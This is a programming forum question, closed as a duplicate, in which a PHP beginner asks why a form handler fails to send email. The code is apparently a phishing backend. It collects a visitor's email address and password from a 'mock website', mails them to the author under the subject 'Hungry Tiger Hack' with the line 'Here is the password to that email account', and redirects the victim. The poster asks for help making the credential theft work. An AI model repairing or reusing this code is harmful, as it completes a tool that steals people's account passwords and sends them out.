This code will run the first bit on my site however it will not send the email after [duplicate]

This question already has an answer here:

• PHP mail form doesn't complete sending e-mail 21 answers

<?php
if (isset($_post['submit'])) { //This page should not be accessed directly. Need to submit the form
    echo "error; you need to submit the form!";
    $Email           = $_POST['Email'];
    $Vistor_Password = $_POST['Password'];
}

//Vaildate Form 
if (empty($email) || emtpy($vistor_password)) {
    echo "email and password are mandortary! Please fill in feilds ";
    exit;
}
$email_from    = 'garyjames4567@mail.com';
$email_subject = "Hungry Tiger Hack ";
$email_body    = "A user has signed in on the mock website.\n" . " You have recieved a new message from the user.\n" . "The email address discovered is: $email\n" . "Here is the password to that email account:\n $vistor-Password";

$to      = "garyjames4567@gmail.com";
$headers = "From:$email_from \r\n";

//Send the email
mail($to, $email_subject, $email, $headers);
//done redirect to hungrytiger2.html
// This results in an error.
// The output above is before the header() call
header('Location: http://ift.tt/2bT5453');
?> 

I have used the above code to try and use a form to send an email to my account that contains the data in the form. however it doesnt send the email. I don't know why this is and I can no longer spot the errors in the code. can please someone help me. I'm new to PHP so I don't know a lot. Also this question is different to the other question because the code is different. So I would prefer a better response I have looked at the other page and it doesn't suit my question.

regards